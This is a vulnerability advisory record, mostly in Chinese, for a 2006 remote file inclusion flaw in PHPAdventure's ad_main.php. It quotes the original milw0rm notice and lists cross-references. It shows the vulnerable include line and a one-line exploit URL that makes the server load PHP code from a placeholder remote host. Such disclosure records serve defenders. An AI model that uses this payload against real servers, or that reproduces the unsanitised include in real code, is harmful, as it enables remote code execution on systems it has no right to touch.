PHPAdventuread_main.php PHP远程文件包含漏洞

https://www.exploit-db.com/exploits/2736
https://www.securityfocus.com/bid/87413
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-182

PHPAdventure的ad_main.php存在PHP远程文件包含漏洞，远程攻击者可借助_mygamefile参数中的URL执行任意PHP代码。

*********************************************
D.O.M TEAM
Bug found: HER0
cms: PHPAdventure
type: rfi
risk: High
download:http://prdownloads.sourceforge.net/phpadventure/phpadv11.tar.gz
contac:16.her0@gmail.com
nota: all the versions of PHPAdventure is affected..
********************************************
line of the code:

<?php
$_stage = 1;
include($_mygamefile);
?>

exploit:
/ad_main.php?_mygamefile=http://evilcode.txt?
****************************************************************
www.domteam.info

greetz:Sponge Bob,Bob esponja XDDDD...
******************************************************************************************

# milw0rm.com [2006-11-07]

Phpadventure Phpadventure 1.1 Alpha

来源:XF
名称:phpadventure-admain-file-include(30091)
链接:http://xforce.iss.net/xforce/xfdb/30091
来源:MILW0RM
名称:2736
链接:http://www.milw0rm.com/exploits/2736
来源:VUPEN
名称:ADV-2006-4413
链接:http://www.frsirt.com/english/advisories/2006/4413
来源:MILW0RM
名称:2736
链接:http://milw0rm.com/exploits/2736